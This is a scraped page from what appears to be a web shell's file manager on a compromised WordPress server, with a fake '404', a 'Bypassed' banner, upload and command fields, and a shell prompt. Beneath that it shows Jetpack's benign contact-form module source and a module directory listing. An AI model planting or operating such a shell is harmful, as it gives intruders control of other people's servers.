404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.15.182.217: ~ $
<?php
/**
 * Contact form module.
 *
 * @package automattic/jetpack
 */

use Automattic\Jetpack\Forms\Jetpack_Forms;

/**
 * Module Name: Contact Form
 * Module Description: Add a customizable contact form to any post or page using the Jetpack Form Block.
 * Sort Order: 15
 * Recommendation Order: 14
 * First Introduced: 1.3
 * Requires Connection: No
 * Auto Activate: Yes
 * Module Tags: Other
 * Feature: Writing
 * Additional Search Queries: contact, form, grunion, feedback, submission, contact form, email, feedback, contact form plugin, custom form, custom form plugin, form builder, forms, form maker, survey, contact by jetpack, contact us, forms free, creator
 */

/**
 * Whether to load the newer Jetpack Forms package.
 *
 * @use add_filter( 'jetpack_contact_form_use_package', '__return_true' );
 * @module contact-form
 *
 * @since 11.8
 *
 * @param bool $load_contact_form_package Load Jetpack Forms package. Default to false.
 */
if ( apply_filters( 'jetpack_contact_form_use_package', true ) ) {
	Jetpack_Forms::load_contact_form();
	return true; // Not returning true will cause the module to become deactivated.
}

require_once __DIR__ . '/contact-form/grunion-contact-form.php';

/*
 * Filters if the new Contact Form Editor View should be used.
 *
 * A temporary filter to disable the new Editor View for the older UI.
 * Please note this filter and the old UI will be removed in the future.
 * Expected to be removed in Jetpack 5.8 or if a security issue merits removing the old code sooner.
 *
 * @since 5.2.0
 *
 * @param boolean $view Use new Editor View. Default true.
 */
if ( is_admin() && apply_filters( 'tmp_grunion_allow_editor_view', true ) ) {
	require_once __DIR__ . '/contact-form/grunion-editor-view.php';
}

/**
 * Register Jetpack Form patterns
 */
function jetpack_form_register_pattern() {
	$category_slug = 'forms';
	register_block_pattern_category( $category_slug, array( 'label' => __( 'Forms', 'jetpack' ) ) );

	$patterns = array(
		'contact-form'      => array(
			'title'      => 'Contact Form',
			'blockTypes' => array( 'jetpack/contact-form' ),
			'categories' => array( $category_slug ),
			'content'    => '<!-- wp:jetpack/contact-form {"style":{"spacing":{"padding":{"top":"16px","right":"16px","bottom":"16px","left":"16px"}}}} -->
				<div class="wp-block-jetpack-contact-form" style="padding-top:16px;padding-right:16px;padding-bottom:16px;padding-left:16px">
					<!-- wp:jetpack/field-name {"required":true} /-->
					<!-- wp:jetpack/field-email {"required":true} /-->
					<!-- wp:jetpack/field-textarea /-->
					<!-- wp:jetpack/button {"element":"button","text":"Contact Us","lock":{"remove":true}} /-->
				</div>
				<!-- /wp:jetpack/contact-form -->',
		),
		'newsletter-form'   => array(
			'title'      => 'Newsletter Subscription Form',
			'blockTypes' => array( 'jetpack/contact-form' ),
			'categories' => array( $category_slug ),
			'content'    => '<!-- wp:jetpack/contact-form {"style":{"spacing":{"padding":{"top":"16px","right":"16px","bottom":"16px","left":"16px"}}}} -->
				<div class="wp-block-jetpack-contact-form" style="padding-top:16px;padding-right:16px;padding-bottom:16px;padding-left:16px">
					<!-- wp:jetpack/field-name {"required":true} /-->
					<!-- wp:jetpack/field-email {"required":true} /-->
					<!-- wp:jetpack/field-consent /-->
					<!-- wp:jetpack/button {"element":"button","text":"Subscribe","lock":{"remove":true}} /-->
				</div>
				<!-- /wp:jetpack/contact-form -->',
		),
		'rsvp-form'         => array(
			'title'      => 'RSVP Form',
			'blockTypes' => array( 'jetpack/contact-form' ),
			'categories' => array( $category_slug ),
			'content'    => '<!-- wp:jetpack/contact-form {"subject":"A new RSVP from your website","style":{"spacing":{"padding":{"top":"16px","right":"16px","bottom":"16px","left":"16px"}}}} -->
				<div class="wp-block-jetpack-contact-form" style="padding-top:16px;padding-right:16px;padding-bottom:16px;padding-left:16px">
					<!-- wp:jetpack/field-name {"required":true} /-->
					<!-- wp:jetpack/field-email {"required":true} /-->
					<!-- wp:jetpack/field-radio {"label":"Attending?","required":true,"options":["Yes","No"]} /-->
					<!-- wp:jetpack/field-textarea {"label":"Other Details"} /-->
					<!-- wp:jetpack/button {"element":"button","text":"Send RSVP","lock":{"remove":true}} /-->
				</div>
				<!-- /wp:jetpack/contact-form -->',
		),
		'registration-form' => array(
			'title'      => 'Registration Form',
			'blockTypes' => array( 'jetpack/contact-form' ),
			'categories' => array( $category_slug ),
			'content'    => '<!-- wp:jetpack/contact-form {"subject":"A new registration from your website","style":{"spacing":{"padding":{"top":"16px","right":"16px","bottom":"16px","left":"16px"}}}} -->
				<div class="wp-block-jetpack-contact-form" style="padding-top:16px;padding-right:16px;padding-bottom:16px;padding-left:16px">
					<!-- wp:jetpack/field-name {"required":true} /-->
					<!-- wp:jetpack/field-email {"required":true} /-->
					<!-- wp:jetpack/field-telephone {"label":"Phone Number"} /-->
					<!-- wp:jetpack/field-select {"label":"How did you hear about us?","options":["Search Engine","Social Media","TV","Radio","Friend or Family"]} /-->
					<!-- wp:jetpack/field-textarea {"label":"Other Details"} /-->
					<!-- wp:jetpack/button {"element":"button","text":"Send","lock":{"remove":true}} /-->
				</div>
				<!-- /wp:jetpack/contact-form -->',
		),
		'appointment-form'  => array(
			'title'      => 'Appointment Form',
			'blockTypes' => array( 'jetpack/contact-form' ),
			'categories' => array( $category_slug ),
			'content'    => '<!-- wp:jetpack/contact-form {"subject":"A new appointment booked from your website","style":{"spacing":{"padding":{"top":"16px","right":"16px","bottom":"16px","left":"16px"}}}} -->
				<div class="wp-block-jetpack-contact-form" style="padding-top:16px;padding-right:16px;padding-bottom:16px;padding-left:16px">
					<!-- wp:jetpack/field-name {"required":true} /-->
					<!-- wp:jetpack/field-email {"required":true} /-->
					<!-- wp:jetpack/field-telephone {"required":true} /-->
					<!-- wp:jetpack/field-date {"label":"Date","required":true} /-->
					<!-- wp:jetpack/field-radio {"label":"Time","required":true,"options":["Morning","Afternoon"]} /-->
					<!-- wp:jetpack/field-textarea {"label":"Notes"} /-->
					<!-- wp:jetpack/button {"element":"button","text":"Book Appointment","lock":{"remove":true}} /-->
				</div>
				<!-- /wp:jetpack/contact-form -->',
		),
		'feedback-form'     => array(
			'title'      => 'Feedback Form',
			'blockTypes' => array( 'jetpack/contact-form' ),
			'categories' => array( $category_slug ),
			'content'    => '<!-- wp:jetpack/contact-form {"subject":"New feedback received from your website","style":{"spacing":{"padding":{"top":"16px","right":"16px","bottom":"16px","left":"16px"}}}} -->
				<div class="wp-block-jetpack-contact-form" style="padding-top:16px;padding-right:16px;padding-bottom:16px;padding-left:16px">
					<!-- wp:jetpack/field-name {"required":true} /-->
					<!-- wp:jetpack/field-email {"required":true} /-->
					<!-- wp:jetpack/field-radio {"label":"Please rate our website","required":true,"options":["1 - Very Bad","2 - Poor","3 - Average","4 - Good","5 - Excellent"]} /-->
					<!-- wp:jetpack/field-textarea {"label":"How could we improve?"} /-->
					<!-- wp:jetpack/button {"element":"button","text":"Send Feedback","lock":{"remove":true}} /-->
				</div>
				<!-- /wp:jetpack/contact-form -->',
		),
	);

	foreach ( $patterns as $name => $pattern ) {
		register_block_pattern( $name, $pattern );
	}
}

add_action( 'init', 'jetpack_form_register_pattern' );

Filemanager

Name Type Size Permission Actions
calypsoify Folder 0755
carousel Folder 0755
cloudflare-analytics Folder 0755
comment-likes Folder 0755
comments Folder 0755
contact-form Folder 0755
custom-css Folder 0755
custom-post-types Folder 0755
geo-location Folder 0755
google-analytics Folder 0755
google-fonts Folder 0755
gravatar Folder 0755
infinite-scroll Folder 0755
likes Folder 0755
markdown Folder 0755
masterbar Folder 0755
memberships Folder 0755
photon-cdn Folder 0755
plugin-search Folder 0755
post-by-email Folder 0755
related-posts Folder 0755
scan Folder 0755
seo-tools Folder 0755
sharedaddy Folder 0755
shortcodes Folder 0755
simple-payments Folder 0755
site-icon Folder 0755
sitemaps Folder 0755
sso Folder 0755
stats Folder 0755
subscriptions Folder 0755
theme-tools Folder 0755
tiled-gallery Folder 0755
verification-tools Folder 0755
videopress Folder 0755
widget-visibility Folder 0755
widgets Folder 0755
woocommerce-analytics Folder 0755
wordads Folder 0755
wpcom-block-editor Folder 0755
wpcom-tos Folder 0755
action-bar.php File 644 B 0644
blaze.php File 419 B 0644
carousel.php File 573 B 0644
comment-likes.php File 8.03 KB 0644
comments.php File 1.06 KB 0644
contact-form.php File 7.47 KB 0644
copy-post.php File 12.27 KB 0644
custom-content-types.php File 1.53 KB 0644
custom-css.php File 1.37 KB 0644
enhanced-distribution.php File 2.4 KB 0644
geo-location.php File 2.44 KB 0644
google-analytics.php File 501 B 0644
google-fonts.php File 533 B 0644
gravatar-hovercards.php File 11.8 KB 0644
infinite-scroll.php File 8.19 KB 0644
json-api.php File 484 B 0644
latex.php File 4.61 KB 0644
lazy-images.php File 955 B 0644
likes.php File 21.59 KB 0644
markdown.php File 1007 B 0644
masterbar.php File 1.56 KB 0644
module-extras.php File 2.93 KB 0644
module-headings.php File 46.17 KB 0644
module-info.php File 27.93 KB 0644
monitor.php File 3.51 KB 0644
notes.php File 7.6 KB 0644
photon-cdn.php File 12.17 KB 0644
photon.php File 711 B 0644
plugin-search.php File 20.06 KB 0644
post-by-email.php File 596 B 0644
post-list.php File 533 B 0644
protect.php File 694 B 0644
publicize.php File 4.24 KB 0644
related-posts.php File 2.14 KB 0644
search.php File 1.17 KB 0644
seo-tools.php File 1.52 KB 0644
sharedaddy.php File 1.6 KB 0644
shortcodes.php File 6.06 KB 0644
shortlinks.php File 4.37 KB 0644
sitemaps.php File 1.28 KB 0644
sso.php File 40.16 KB 0644
stats.php File 50.88 KB 0644
subscriptions.php File 35.02 KB 0644
theme-tools.php File 2.52 KB 0644
tiled-gallery.php File 1.05 KB 0644
vaultpress.php File 1.77 KB 0644
verification-tools.php File 830 B 0644
videopress.php File 1007 B 0644
waf.php File 297 B 0644
widget-visibility.php File 475 B 0644
widgets.php File 2.86 KB 0644
woocommerce-analytics.php File 631 B 0644
wordads.php File 586 B 0644
wpgroho.js File 1.91 KB 0644